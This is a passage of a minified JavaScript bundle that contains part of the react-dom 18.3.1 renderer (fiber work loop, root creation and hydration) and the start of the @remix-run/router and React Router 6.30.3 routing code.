n=Lt();e=Sr(e,t),e!==null&&(Uo(e,t,n),Yt(e,n))}function dP(e){var t=e.memoizedState,n=0;t!==null&&(n=t.retryLane),W5(e,n)}function fP(e,t){var n=0;switch(e.tag){case 13:var r=e.stateNode,i=e.memoizedState;i!==null&&(n=i.retryLane);break;case 19:r=e.stateNode;break;default:throw Error(Q(314))}r!==null&&r.delete(t),W5(e,n)}var U5;U5=function(e,t,n){if(e!==null)if(e.memoizedProps!==t.pendingProps||Kt.current)Wt=!0;else{if(!(e.lanes&n)&&!(t.flags&128))return Wt=!1,JC(e,t,n);Wt=!!(e.flags&131072)}else Wt=!1,Ve&&t.flags&1048576&&qw(t,Ac,t.index);switch(t.lanes=0,t.tag){case 2:var r=t.type;oc(e,t),e=t.pendingProps;var i=Ua(t,Ot.current);Da(t,n),i=Xh(null,t,r,e,i,n);var a=Zh();return t.flags|=1,typeof i=="object"&&i!==null&&typeof i.render=="function"&&i.$$typeof===void 0?(t.tag=1,t.memoizedState=null,t.updateQueue=null,qt(r)?(a=!0,Pc(t)):a=!1,t.memoizedState=i.state!==null&&i.state!==void 0?i.state:null,Hh(t),i.updater=Ku,t.stateNode=i,i._reactInternals=t,nm(t,r,e,n),t=am(null,t,r,!0,a,n)):(t.tag=0,Ve&&a&&Rh(t),Tt(null,t,i,n),t=t.child),t;case 16:r=t.elementType;e:{switch(oc(e,t),e=t.pendingProps,i=r._init,r=i(r._payload),t.type=r,i=t.tag=mP(r),e=Tn(r,e),i){case 0:t=im(null,t,r,e,n);break e;case 1:t=fg(null,t,r,e,n);break e;case 11:t=ug(null,t,r,e,n);break e;case 14:t=dg(null,t,r,Tn(r.type,e),n);break e}throw Error(Q(306,r,""))}return t;case 0:return r=t.type,i=t.pendingProps,i=t.elementType===r?i:Tn(r,i),im(e,t,r,i,n);case 1:return r=t.type,i=t.pendingProps,i=t.elementType===r?i:Tn(r,i),fg(e,t,r,i,n);case 3:e:{if(z5(t),e===null)throw Error(Q(387));r=t.pendingProps,a=t.memoizedState,i=a.element,Jw(e,t),Tc(t,r,null,n);var o=t.memoizedState;if(r=o.element,a.isDehydrated)if(a={element:r,isDehydrated:!1,cache:o.cache,pendingSuspenseBoundaries:o.pendingSuspenseBoundaries,transitions:o.transitions},t.updateQueue.baseState=a,t.memoizedState=a,t.flags&256){i=qa(Error(Q(423)),t),t=pg(e,t,r,n,i);break e}else if(r!==i){i=qa(Error(Q(424)),t),t=pg(e,t,r,n,i);break e}else for(nn=ai(t.stateNode.containerInfo.firstChild),an=t,Ve=!0,Ln=null,n=Zw(t,null,r,n),t.child=n;n;)n.flags=n.flags&-3|4096,n=n.sibling;else{if(Va(),r===i){t=zr(e,t,n);break e}Tt(e,t,r,n)}t=t.child}return t;case 5:return e5(t),e===null&&Jp(t),r=t.type,i=t.pendingProps,a=e!==null?e.memoizedProps:null,o=i.children,Yp(r,i)?o=null:a!==null&&Yp(r,a)&&(t.flags|=32),S5(e,t),Tt(e,t,o,n),t.child;case 6:return e===null&&Jp(t),null;case 13:return C5(e,t,n);case 4:return Kh(t,t.stateNode.containerInfo),r=t.pendingProps,e===null?t.child=Ha(t,null,r,n):Tt(e,t,r,n),t.child;case 11:return r=t.type,i=t.pendingProps,i=t.elementType===r?i:Tn(r,i),ug(e,t,r,i,n);case 7:return Tt(e,t,t.pendingProps,n),t.child;case 8:return Tt(e,t,t.pendingProps.children,n),t.child;case 12:return Tt(e,t,t.pendingProps.children,n),t.child;case 10:e:{if(r=t.type._context,i=t.pendingProps,a=t.memoizedProps,o=i.value,De(_c,r._currentValue),r._currentValue=o,a!==null)if(Wn(a.value,o)){if(a.children===i.children&&!Kt.current){t=zr(e,t,n);break e}}else for(a=t.child,a!==null&&(a.return=t);a!==null;){var l=a.dependencies;if(l!==null){o=a.child;for(var c=l.firstContext;c!==null;){if(c.context===r){if(a.tag===1){c=wr(-1,n&-n),c.tag=2;var u=a.updateQueue;if(u!==null){u=u.shared;var d=u.pending;d===null?c.next=c:(c.next=d.next,d.next=c),u.pending=c}}a.lanes|=n,c=a.alternate,c!==null&&(c.lanes|=n),em(a.return,n,t),l.lanes|=n;break}c=c.next}}else if(a.tag===10)o=a.type===t.type?null:a.child;else if(a.tag===18){if(o=a.return,o===null)throw Error(Q(341));o.lanes|=n,l=o.alternate,l!==null&&(l.lanes|=n),em(o,n,t),o=a.sibling}else o=a.child;if(o!==null)o.return=a;else for(o=a;o!==null;){if(o===t){o=null;break}if(a=o.sibling,a!==null){a.return=o.return,o=a;break}o=o.return}a=o}Tt(e,t,i.children,n),t=t.child}return t;case 9:return i=t.type,r=t.pendingProps.children,Da(t,n),i=Nn(i),r=r(i),t.flags|=1,Tt(e,t,r,n),t.child;case 14:return r=t.type,i=Tn(r,t.pendingProps),i=Tn(r.type,i),dg(e,t,r,i,n);case 15:return k5(e,t,t.type,t.pendingProps,n);case 17:return r=t.type,i=t.pendingProps,i=t.elementType===r?i:Tn(r,i),oc(e,t),t.tag=1,qt(r)?(e=!0,Pc(t)):e=!1,Da(t,n),b5(t,r,i),nm(t,r,i,n),am(null,t,r,!0,e,n);case 19:return P5(e,t,n);case 22:return N5(e,t,n)}throw Error(Q(156,t.tag))};function V5(e,t){return vw(e,t)}function pP(e,t,n,r){this.tag=e,this.key=n,this.sibling=this.child=this.return=this.stateNode=this.type=this.elementType=null,this.index=0,this.ref=null,this.pendingProps=t,this.dependencies=this.memoizedState=this.updateQueue=this.memoizedProps=null,this.mode=r,this.subtreeFlags=this.flags=0,this.deletions=null,this.childLanes=this.lanes=0,this.alternate=null}function wn(e,t,n,r){return new pP(e,t,n,r)}function ox(e){return e=e.prototype,!(!e||!e.isReactComponent)}function mP(e){if(typeof e=="function")return ox(e)?1:0;if(e!=null){if(e=e.$$typeof,e===zh)return 11;if(e===Ch)return 14}return 2}function ci(e,t){var n=e.alternate;return n===null?(n=wn(e.tag,t,e.key,e.mode),n.elementType=e.elementType,n.type=e.type,n.stateNode=e.stateNode,n.alternate=e,e.alternate=n):(n.pendingProps=t,n.type=e.type,n.flags=0,n.subtreeFlags=0,n.deletions=null),n.flags=e.flags&14680064,n.childLanes=e.childLanes,n.lanes=e.lanes,n.child=e.child,n.memoizedProps=e.memoizedProps,n.memoizedState=e.memoizedState,n.updateQueue=e.updateQueue,t=e.dependencies,n.dependencies=t===null?null:{lanes:t.lanes,firstContext:t.firstContext},n.sibling=e.sibling,n.index=e.index,n.ref=e.ref,n}function uc(e,t,n,r,i,a){var o=2;if(r=e,typeof e=="function")ox(e)&&(o=1);else if(typeof e=="string")o=5;else e:switch(e){case ya:return Wi(n.children,i,a,t);case Sh:o=8,i|=8;break;case zp:return e=wn(12,n,t,i|2),e.elementType=zp,e.lanes=a,e;case Cp:return e=wn(13,n,t,i),e.elementType=Cp,e.lanes=a,e;case Pp:return e=wn(19,n,t,i),e.elementType=Pp,e.lanes=a,e;case ew:return Gu(n,i,a,t);default:if(typeof e=="object"&&e!==null)switch(e.$$typeof){case Q2:o=10;break e;case J2:o=9;break e;case zh:o=11;break e;case Ch:o=14;break e;case Kr:o=16,r=null;break e}throw Error(Q(130,e==null?e:typeof e,""))}return t=wn(o,n,t,i),t.elementType=e,t.type=r,t.lanes=a,t}function Wi(e,t,n,r){return e=wn(7,e,r,t),e.lanes=n,e}function Gu(e,t,n,r){return e=wn(22,e,r,t),e.elementType=ew,e.lanes=n,e.stateNode={isHidden:!1},e}function Wf(e,t,n){return e=wn(6,e,null,t),e.lanes=n,e}function Uf(e,t,n){return t=wn(4,e.children!==null?e.children:[],e.key,t),t.lanes=n,t.stateNode={containerInfo:e.containerInfo,pendingChildren:null,implementation:e.implementation},t}function hP(e,t,n,r,i){this.tag=t,this.containerInfo=e,this.finishedWork=this.pingCache=this.current=this.pendingChildren=null,this.timeoutHandle=-1,this.callbackNode=this.pendingContext=this.context=null,this.callbackPriority=0,this.eventTimes=kf(0),this.expirationTimes=kf(-1),this.entangledLanes=this.finishedLanes=this.mutableReadLanes=this.expiredLanes=this.pingedLanes=this.suspendedLanes=this.pendingLanes=0,this.entanglements=kf(0),this.identifierPrefix=r,this.onRecoverableError=i,this.mutableSourceEagerHydrationData=null}function lx(e,t,n,r,i,a,o,l,c){return e=new hP(e,t,n,l,c),t===1?(t=1,a===!0&&(t|=8)):t=0,a=wn(3,null,null,t),e.current=a,a.stateNode=e,a.memoizedState={element:r,isDehydrated:n,cache:null,transitions:null,pendingSuspenseBoundaries:null},Hh(a),e}function xP(e,t,n){var r=3<arguments.length&&arguments[3]!==void 0?arguments[3]:null;return{$$typeof:ga,key:r==null?null:""+r,children:e,containerInfo:t,implementation:n}}function H5(e){if(!e)return hi;e=e._reactInternals;e:{if(oa(e)!==e||e.tag!==1)throw Error(Q(170));var t=e;do{switch(t.tag){case 3:t=t.stateNode.context;break e;case 1:if(qt(t.type)){t=t.stateNode.__reactInternalMemoizedMergedChildContext;break e}}t=t.return}while(t!==null);throw Error(Q(171))}if(e.tag===1){var n=e.type;if(qt(n))return Hw(e,n,t)}return t}function K5(e,t,n,r,i,a,o,l,c){return e=lx(n,r,!0,e,i,a,o,l,c),e.context=H5(null),n=e.current,r=Lt(),i=li(n),a=wr(r,i),a.callback=t??null,si(n,a,i),e.current.lanes=i,Uo(e,i,r),Yt(e,r),e}function Xu(e,t,n,r){var i=t.current,a=Lt(),o=li(i);return n=H5(n),t.context===null?t.context=n:t.pendingContext=n,t=wr(a,o),t.payload={element:e},r=r===void 0?null:r,r!==null&&(t.callback=r),e=si(i,t,o),e!==null&&(Bn(e,i,o,a),ic(e,i,o)),o}function Fc(e){if(e=e.current,!e.child)return null;switch(e.child.tag){case 5:return e.child.stateNode;default:return e.child.stateNode}}function kg(e,t){if(e=e.memoizedState,e!==null&&e.dehydrated!==null){var n=e.retryLane;e.retryLane=n!==0&&n<t?n:t}}function cx(e,t){kg(e,t),(e=e.alternate)&&kg(e,t)}function vP(){return null}var q5=typeof reportError=="function"?reportError:function(e){console.error(e)};function ux(e){this._internalRoot=e}Zu.prototype.render=ux.prototype.render=function(e){var t=this._internalRoot;if(t===null)throw Error(Q(409));Xu(e,t,null,null)};Zu.prototype.unmount=ux.prototype.unmount=function(){var e=this._internalRoot;if(e!==null){this._internalRoot=null;var t=e.containerInfo;Zi(function(){Xu(null,e,null,null)}),t[Nr]=null}};function Zu(e){this._internalRoot=e}Zu.prototype.unstable_scheduleHydration=function(e){if(e){var t=Nw();e={blockedOn:null,target:e,priority:t};for(var n=0;n<Gr.length&&t!==0&&t<Gr[n].priority;n++);Gr.splice(n,0,e),n===0&&zw(e)}};function dx(e){return!(!e||e.nodeType!==1&&e.nodeType!==9&&e.nodeType!==11)}function Qu(e){return!(!e||e.nodeType!==1&&e.nodeType!==9&&e.nodeType!==11&&(e.nodeType!==8||e.nodeValue!==" react-mount-point-unstable "))}function Ng(){}function gP(e,t,n,r,i){if(i){if(typeof r=="function"){var a=r;r=function(){var u=Fc(o);a.call(u)}}var o=K5(t,r,e,0,null,!1,!1,"",Ng);return e._reactRootContainer=o,e[Nr]=o.current,fo(e.nodeType===8?e.parentNode:e),Zi(),o}for(;i=e.lastChild;)e.removeChild(i);if(typeof r=="function"){var l=r;r=function(){var u=Fc(c);l.call(u)}}var c=lx(e,0,!1,null,null,!1,!1,"",Ng);return e._reactRootContainer=c,e[Nr]=c.current,fo(e.nodeType===8?e.parentNode:e),Zi(function(){Xu(t,c,n,r)}),c}function Ju(e,t,n,r,i){var a=n._reactRootContainer;if(a){var o=a;if(typeof i=="function"){var l=i;i=function(){var c=Fc(o);l.call(c)}}Xu(t,o,e,i)}else o=gP(n,t,e,i,r);return Fc(o)}jw=function(e){switch(e.tag){case 3:var t=e.stateNode;if(t.current.memoizedState.isDehydrated){var n=Us(t.pendingLanes);n!==0&&(Ah(t,n|1),Yt(t,nt()),!(Ne&6)&&(Ya=nt()+500,wi()))}break;case 13:Zi(function(){var r=Sr(e,1);if(r!==null){var i=Lt();Bn(r,e,1,i)}}),cx(e,1)}};_h=function(e){if(e.tag===13){var t=Sr(e,134217728);if(t!==null){var n=Lt();Bn(t,e,134217728,n)}cx(e,134217728)}};kw=function(e){if(e.tag===13){var t=li(e),n=Sr(e,t);if(n!==null){var r=Lt();Bn(n,e,t,r)}cx(e,t)}};Nw=function(){return Ae};Sw=function(e,t){var n=Ae;try{return Ae=e,t()}finally{Ae=n}};Rp=function(e,t,n){switch(t){case"input":if(_p(e,n),t=n.name,n.type==="radio"&&t!=null){for(n=e;n.parentNode;)n=n.parentNode;for(n=n.querySelectorAll("input[name="+JSON.stringify(""+t)+'][type="radio"]'),t=0;t<n.length;t++){var r=n[t];if(r!==e&&r.form===e.form){var i=Uu(r);if(!i)throw Error(Q(90));nw(r),_p(r,i)}}}break;case"textarea":iw(e,n);break;case"select":t=n.value,t!=null&&Ta(e,!!n.multiple,t,!1)}};dw=ix;fw=Zi;var yP={usingClientEntryPoint:!1,Events:[Ho,ka,Uu,cw,uw,ix]},Ps={findFiberByHostInstance:Li,bundleType:0,version:"18.3.1",rendererPackageName:"react-dom"},bP={bundleType:Ps.bundleType,version:Ps.version,rendererPackageName:Ps.rendererPackageName,rendererConfig:Ps.rendererConfig,overrideHookState:null,overrideHookStateDeletePath:null,overrideHookStateRenamePath:null,overrideProps:null,overridePropsDeletePath:null,overridePropsRenamePath:null,setErrorHandler:null,setSuspenseHandler:null,scheduleUpdate:null,currentDispatcherRef:Ir.ReactCurrentDispatcher,findHostInstanceByFiber:function(e){return e=hw(e),e===null?null:e.stateNode},findFiberByHostInstance:Ps.findFiberByHostInstance||vP,findHostInstancesForRefresh:null,scheduleRefresh:null,scheduleRoot:null,setRefreshHandler:null,getCurrentFiber:null,reconcilerVersion:"18.3.1-next-f1338f8080-20240426"};if(typeof __REACT_DEVTOOLS_GLOBAL_HOOK__<"u"){var Al=__REACT_DEVTOOLS_GLOBAL_HOOK__;if(!Al.isDisabled&&Al.supportsFiber)try{$u=Al.inject(bP),ir=Al}catch{}}un.__SECRET_INTERNALS_DO_NOT_USE_OR_YOU_WILL_BE_FIRED=yP;un.createPortal=function(e,t){var n=2<arguments.length&&arguments[2]!==void 0?arguments[2]:null;if(!dx(t))throw Error(Q(200));return xP(e,t,null,n)};un.createRoot=function(e,t){if(!dx(e))throw Error(Q(299));var n=!1,r="",i=q5;return t!=null&&(t.unstable_strictMode===!0&&(n=!0),t.identifierPrefix!==void 0&&(r=t.identifierPrefix),t.onRecoverableError!==void 0&&(i=t.onRecoverableError)),t=lx(e,1,!1,null,null,n,!1,r,i),e[Nr]=t.current,fo(e.nodeType===8?e.parentNode:e),new ux(t)};un.findDOMNode=function(e){if(e==null)return null;if(e.nodeType===1)return e;var t=e._reactInternals;if(t===void 0)throw typeof e.render=="function"?Error(Q(188)):(e=Object.keys(e).join(","),Error(Q(268,e)));return e=hw(t),e=e===null?null:e.stateNode,e};un.flushSync=function(e){return Zi(e)};un.hydrate=function(e,t,n){if(!Qu(t))throw Error(Q(200));return Ju(null,e,t,!0,n)};un.hydrateRoot=function(e,t,n){if(!dx(e))throw Error(Q(405));var r=n!=null&&n.hydratedSources||null,i=!1,a="",o=q5;if(n!=null&&(n.unstable_strictMode===!0&&(i=!0),n.identifierPrefix!==void 0&&(a=n.identifierPrefix),n.onRecoverableError!==void 0&&(o=n.onRecoverableError)),t=K5(t,null,e,1,n??null,i,!1,a,o),e[Nr]=t.current,fo(e),r)for(e=0;e<r.length;e++)n=r[e],i=n._getVersion,i=i(n._source),t.mutableSourceEagerHydrationData==null?t.mutableSourceEagerHydrationData=[n,i]:t.mutableSourceEagerHydrationData.push(n,i);return new Zu(t)};un.render=function(e,t,n){if(!Qu(t))throw Error(Q(200));return Ju(null,e,t,!1,n)};un.unmountComponentAtNode=function(e){if(!Qu(e))throw Error(Q(40));return e._reactRootContainer?(Zi(function(){Ju(null,null,e,!1,function(){e._reactRootContainer=null,e[Nr]=null})}),!0):!1};un.unstable_batchedUpdates=ix;un.unstable_renderSubtreeIntoContainer=function(e,t,n,r){if(!Qu(n))throw Error(Q(200));if(e==null||e._reactInternals===void 0)throw Error(Q(38));return Ju(e,t,n,!1,r)};un.version="18.3.1-next-f1338f8080-20240426";function Y5(){if(!(typeof __REACT_DEVTOOLS_GLOBAL_HOOK__>"u"||typeof __REACT_DEVTOOLS_GLOBAL_HOOK__.checkDCE!="function"))try{__REACT_DEVTOOLS_GLOBAL_HOOK__.checkDCE(Y5)}catch(e){console.error(e)}}Y5(),Y2.exports=un;var fx=Y2.exports,Sg=fx;Np.createRoot=Sg.createRoot,Np.hydrateRoot=Sg.hydrateRoot;/**
* @remix-run/router v1.23.2
*
* Copyright (c) Remix Software Inc.
*
* This source code is licensed under the MIT license found in the
* LICENSE.md file in the root directory of this source tree.
*
* @license MIT
*/function wo(){return wo=Object.assign?Object.assign.bind():function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var r in n)Object.prototype.hasOwnProperty.call(n,r)&&(e[r]=n[r])}return e},wo.apply(this,arguments)}var ei;(function(e){e.Pop="POP",e.Push="PUSH",e.Replace="REPLACE"})(ei||(ei={}));const zg="popstate";function wP(e){e===void 0&&(e={});function t(r,i){let{pathname:a,search:o,hash:l}=r.location;return vm("",{pathname:a,search:o,hash:l},i.state&&i.state.usr||null,i.state&&i.state.key||"default")}function n(r,i){return typeof i=="string"?i:Wc(i)}return kP(t,n,null,e)}function Ye(e,t){if(e===!1||e===null||typeof e>"u")throw new Error(t)}function px(e,t){if(!e){typeof console<"u"&&console.warn(t);try{throw new Error(t)}catch{}}}function jP(){return Math.random().toString(36).substr(2,8)}function Cg(e,t){return{usr:e.state,key:e.key,idx:t}}function vm(e,t,n,r){return n===void 0&&(n=null),wo({pathname:typeof e=="string"?e:e.pathname,search:"",hash:""},typeof t=="string"?ss(t):t,{state:n,key:t&&t.key||r||jP()})}function Wc(e){let{pathname:t="/",search:n="",hash:r=""}=e;return n&&n!=="?"&&(t+=n.charAt(0)==="?"?n:"?"+n),r&&r!=="#"&&(t+=r.charAt(0)==="#"?r:"#"+r),t}function ss(e){let t={};if(e){let n=e.indexOf("#");n>=0&&(t.hash=e.substr(n),e=e.substr(0,n));let r=e.indexOf("?");r>=0&&(t.search=e.substr(r),e=e.substr(0,r)),e&&(t.pathname=e)}return t}function kP(e,t,n,r){r===void 0&&(r={});let{window:i=document.defaultView,v5Compat:a=!1}=r,o=i.history,l=ei.Pop,c=null,u=d();u==null&&(u=0,o.replaceState(wo({},o.state,{idx:u}),""));function d(){return(o.state||{idx:null}).idx}function f(){l=ei.Pop;let y=d(),v=y==null?null:y-u;u=y,c&&c({action:l,location:g.location,delta:v})}function m(y,v){l=ei.Push;let b=vm(g.location,y,v);u=d()+1;let w=Cg(b,u),j=g.createHref(b);try{o.pushState(w,"",j)}catch(k){if(k instanceof DOMException&&k.name==="DataCloneError")throw k;i.location.assign(j)}a&&c&&c({action:l,location:g.location,delta:1})}function h(y,v){l=ei.Replace;let b=vm(g.location,y,v);u=d();let w=Cg(b,u),j=g.createHref(b);o.replaceState(w,"",j),a&&c&&c({action:l,location:g.location,delta:0})}function x(y){let v=i.location.origin!=="null"?i.location.origin:i.location.href,b=typeof y=="string"?y:Wc(y);return b=b.replace(/ $/,"%20"),Ye(v,"No window.location.(origin|href) available to create URL for href: "+b),new URL(b,v)}let g={get action(){return l},get location(){return e(i,o)},listen(y){if(c)throw new Error("A history only accepts one active listener");return i.addEventListener(zg,f),c=y,()=>{i.removeEventListener(zg,f),c=null}},createHref(y){return t(i,y)},createURL:x,encodeLocation(y){let v=x(y);return{pathname:v.pathname,search:v.search,hash:v.hash}},push:m,replace:h,go(y){return o.go(y)}};return g}var Pg;(function(e){e.data="data",e.deferred="deferred",e.redirect="redirect",e.error="error"})(Pg||(Pg={}));function NP(e,t,n){return n===void 0&&(n="/"),SP(e,t,n)}function SP(e,t,n,r){let i=typeof t=="string"?ss(t):t,a=Ga(i.pathname||"/",n);if(a==null)return null;let o=G5(e);zP(o);let l=null;for(let c=0;l==null&&c<o.length;++c){let u=DP(a);l=LP(o[c],u)}return l}function G5(e,t,n,r){t===void 0&&(t=[]),n===void 0&&(n=[]),r===void 0&&(r="");let i=(a,o,l)=>{let c={relativePath:l===void 0?a.path||"":l,caseSensitive:a.caseSensitive===!0,childrenIndex:o,route:a};c.relativePath.startsWith("/")&&(Ye(c.relativePath.startsWith(r),'Absolute route path "'+c.relativePath+'" nested under path '+('"'+r+'" is not valid. An absolute child route path ')+"must start with the combined path of all its parent routes."),c.relativePath=c.relativePath.slice(r.length));let u=ui([r,c.relativePath]),d=n.concat(c);a.children&&a.children.length>0&&(Ye(a.index!==!0,"Index routes must not have child routes. Please remove "+('all child routes from route path "'+u+'".')),G5(a.children,t,d,u)),!(a.path==null&&!a.index)&&t.push({path:u,score:TP(u,a.index),routesMeta:d})};return e.forEach((a,o)=>{var l;if(a.path===""||!((l=a.path)!=null&&l.includes("?")))i(a,o);else for(let c of X5(a.path))i(a,o,c)}),t}function X5(e){let t=e.split("/");if(t.length===0)return[];let[n,...r]=t,i=n.endsWith("?"),a=n.replace(/\?$/,"");if(r.length===0)return i?[a,""]:[a];let o=X5(r.join("/")),l=[];return l.push(...o.map(c=>c===""?a:[a,c].join("/"))),i&&l.push(...o),l.map(c=>e.startsWith("/")&&c===""?"/":c)}function zP(e){e.sort((t,n)=>t.score!==n.score?n.score-t.score:MP(t.routesMeta.map(r=>r.childrenIndex),n.routesMeta.map(r=>r.childrenIndex)))}const CP=/^:[\w-]+$/,PP=3,EP=2,AP=1,_P=10,OP=-2,Eg=e=>e==="*";function TP(e,t){let n=e.split("/"),r=n.length;return n.some(Eg)&&(r+=OP),t&&(r+=EP),n.filter(i=>!Eg(i)).reduce((i,a)=>i+(CP.test(a)?PP:a===""?AP:_P),r)}function MP(e,t){return e.length===t.length&&e.slice(0,-1).every((r,i)=>r===t[i])?e[e.length-1]-t[t.length-1]:0}function LP(e,t,n){let{routesMeta:r}=e,i={},a="/",o=[];for(let l=0;l<r.length;++l){let c=r[l],u=l===r.length-1,d=a==="/"?t:t.slice(a.length)||"/",f=gm({path:c.relativePath,caseSensitive:c.caseSensitive,end:u},d),m=c.route;if(!f)return null;Object.assign(i,f.params),o.push({params:i,pathname:ui([a,f.pathname]),pathnameBase:WP(ui([a,f.pathnameBase])),route:m}),f.pathnameBase!=="/"&&(a=ui([a,f.pathnameBase]))}return o}function gm(e,t){typeof e=="string"&&(e={path:e,caseSensitive:!1,end:!0});let[n,r]=IP(e.path,e.caseSensitive,e.end),i=t.match(n);if(!i)return null;let a=i[0],o=a.replace(/(.)\/+$/,"$1"),l=i.slice(1);return{params:r.reduce((u,d,f)=>{let{paramName:m,isOptional:h}=d;if(m==="*"){let g=l[f]||"";o=a.slice(0,a.length-g.length).replace(/(.)\/+$/,"$1")}const x=l[f];return h&&!x?u[m]=void 0:u[m]=(x||"").replace(/%2F/g,"/"),u},{}),pathname:a,pathnameBase:o,pattern:e}}function IP(e,t,n){t===void 0&&(t=!1),n===void 0&&(n=!0),px(e==="*"||!e.endsWith("*")||e.endsWith("/*"),'Route path "'+e+'" will be treated as if it were '+('"'+e.replace(/\*$/,"/*")+'" because the `*` character must ')+"always follow a `/` in the pattern. To get rid of this warning, "+('please change the route path to "'+e.replace(/\*$/,"/*")+'".'));let r=[],i="^"+e.replace(/\/*\*?$/,"").replace(/^\/*/,"/").replace(/[\\.*+^${}|()[\]]/g,"\\$&").replace(/\/:([\w-]+)(\?)?/g,(o,l,c)=>(r.push({paramName:l,isOptional:c!=null}),c?"/?([^\\/]+)?":"/([^\\/]+)"));return e.endsWith("*")?(r.push({paramName:"*"}),i+=e==="*"||e==="/*"?"(.*)$":"(?:\\/(.+)|\\/*)$"):n?i+="\\/*$":e!==""&&e!=="/"&&(i+="(?:(?=\\/|$))"),[new RegExp(i,t?void 0:"i"),r]}function DP(e){try{return e.split("/").map(t=>decodeURIComponent(t).replace(/\//g,"%2F")).join("/")}catch(t){return px(!1,'The URL path "'+e+'" could not be decoded because it is is a malformed URL segment. This is probably due to a bad percent '+("encoding ("+t+").")),e}}function Ga(e,t){if(t==="/")return e;if(!e.toLowerCase().startsWith(t.toLowerCase()))return null;let n=t.endsWith("/")?t.length-1:t.length,r=e.charAt(n);return r&&r!=="/"?null:e.slice(n)||"/"}const RP=/^(?:[a-z][a-z0-9+.-]*:|\/\/)/i,$P=e=>RP.test(e);function BP(e,t){t===void 0&&(t="/");let{pathname:n,search:r="",hash:i=""}=typeof e=="string"?ss(e):e,a;if(n)if($P(n))a=n;else{if(n.includes("//")){let o=n;n=n.replace(/\/\/+/g,"/"),px(!1,"Pathnames cannot have embedded double slashes - normalizing "+(o+" -> "+n))}n.startsWith("/")?a=Ag(n.substring(1),"/"):a=Ag(n,t)}else a=t;return{pathname:a,search:UP(r),hash:VP(i)}}function Ag(e,t){let n=t.replace(/\/+$/,"").split("/");return e.split("/").forEach(i=>{i===".."?n.length>1&&n.pop():i!=="."&&n.push(i)}),n.length>1?n.join("/"):"/"}function Vf(e,t,n,r){return"Cannot include a '"+e+"' character in a manually specified "+("`to."+t+"` field ["+JSON.stringify(r)+"]. Please separate it out to the ")+("`to."+n+"` field. Alternatively you may provide the full path as ")+'a string in <Link to="..."> and the router will parse it for you.'}function FP(e){return e.filter((t,n)=>n===0||t.route.path&&t.route.path.length>0)}function mx(e,t){let n=FP(e);return t?n.map((r,i)=>i===n.length-1?r.pathname:r.pathnameBase):n.map(r=>r.pathnameBase)}function hx(e,t,n,r){r===void 0&&(r=!1);let i;typeof e=="string"?i=ss(e):(i=wo({},e),Ye(!i.pathname||!i.pathname.includes("?"),Vf("?","pathname","search",i)),Ye(!i.pathname||!i.pathname.includes("#"),Vf("#","pathname","hash",i)),Ye(!i.search||!i.search.includes("#"),Vf("#","search","hash",i)));let a=e===""||i.pathname==="",o=a?"/":i.pathname,l;if(o==null)l=n;else{let f=t.length-1;if(!r&&o.startsWith("..")){let m=o.split("/");for(;m[0]==="..";)m.shift(),f-=1;i.pathname=m.join("/")}l=f>=0?t[f]:"/"}let c=BP(i,l),u=o&&o!=="/"&&o.endsWith("/"),d=(a||o===".")&&n.endsWith("/");return!c.pathname.endsWith("/")&&(u||d)&&(c.pathname+="/"),c}const ui=e=>e.join("/").replace(/\/\/+/g,"/"),WP=e=>e.replace(/\/+$/,"").replace(/^\/*/,"/"),UP=e=>!e||e==="?"?"":e.startsWith("?")?e:"?"+e,VP=e=>!e||e==="#"?"":e.startsWith("#")?e:"#"+e;function HP(e){return e!=null&&typeof e.status=="number"&&typeof e.statusText=="string"&&typeof e.internal=="boolean"&&"data"in e}const Z5=["post","put","patch","delete"];new Set(Z5);const KP=["get",...Z5];new Set(KP);/**
* React Router v6.30.3
*
* Copyright (c) Remix Software Inc.
*
* This source code is licensed under the MIT license found in the
* LICENSE.md file in the root directory of this source tree.
*
* @license MIT
*/function jo(){return jo=Object.assign?Object.assign.bind():function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var r in n)Object.prototype.hasOwnProperty.call(n,r)&&(e[r]=n[r])}return e},jo.apply(this,arguments)}const ed=p.createContext(null),Q5=p.createContext(null),Dr=p.createContext(null),td=p.createContext(null),cr=p.createContext({outlet:null,matches:[],isDataRoute:!1}),J5=p.createContext(null);function qP(e,t){let{relative:n}=t===void 0?{}:t;os()||Ye(!1);let{basename:r,navigator:i}=p.useContext(Dr),{hash:a,pathname:o,search:l}=nd(e,{relative:n}),c=o;return r!=="/"&&(c=o==="/"?r:ui([r,o])),i.createHref({pathname:c,search:l,hash:a})}function os(){return p.useContext(td)!=null}function la(){return os()||Ye(!1),p.useContext(td).location}function ej(e){p.useContext(Dr).static||p.useLayoutEffect(e)}function ur(){let{isDataRoute:e}=p.useContext(cr);return e?lE():YP()}function YP(){os()||Ye(!1);let e=p.useContext(ed),{basename:t,future:n,navigator:r}=p.useContext(Dr),{matches:i}=p.useContext(cr),{pathname:a}=la(),o=JSON.stringify(mx(i,n.v7_relativeSplatPath)),l=p.useRef(!1);return ej(()=>{l.current=!0}),p.useCallback(function(u,d){if(d===void 0&&(d={}),!l.current)return;if(typeof u=="number"){r.go(u);return}let f=hx(u,JSON.parse(o),a,d.relative==="path");e==null&&t!=="/"&&(f.pathname=f.pathname==="/"?t:ui([t,f.pathname])),(d.replace?r.replace:r.push)(f,d.state,d)},[t,r,o,a,e])}const GP=p.createContext(null);function XP(e){let t=p.useContext(cr).outlet;return t&&p.createElement(GP.Provider,{value:e},t)}function qo(){let{matches:e}=p.useContext(cr),t=e[e.length-1];return t?t.params:{}}function nd(e,t){let{relative:n}=t===void 0?{}:t,{future:r}=p.useContext(Dr),{matches:i}=p.useContext(cr),{pathname:a}=la(),o=JSON.stringify(mx(i,r.v7_relativeSplatPath));return p.useMemo(()=>hx(e,JSON.parse(o),a,n==="path"),[e,o,a,n])}function ZP(e,t){return QP(e,t)}function QP(e,t,n,r){os()||Ye(!1);let{navigator:i}=p.useContext(Dr),{matches:a}=p.useContext(cr),o=a[a.length-1],l=o?o.params:{};o&&o.pathname;let c=o?o.pathnameBase:"/";o&&o.route;let u=la(),d;if(t){var f;let y=typeof t=="string"?ss(t):t;c==="/"||(f=y.pathname)!=null&&f.startsWith(c)||Ye(!1),d=y}else d=u;let m=d.pathname||"/",h=m;if(c!=="/"){let y=c.replace(/^\//,"").split("/");h="/"+m.replace(/^\//,"").split("/").slice(y.length).join("/")}let 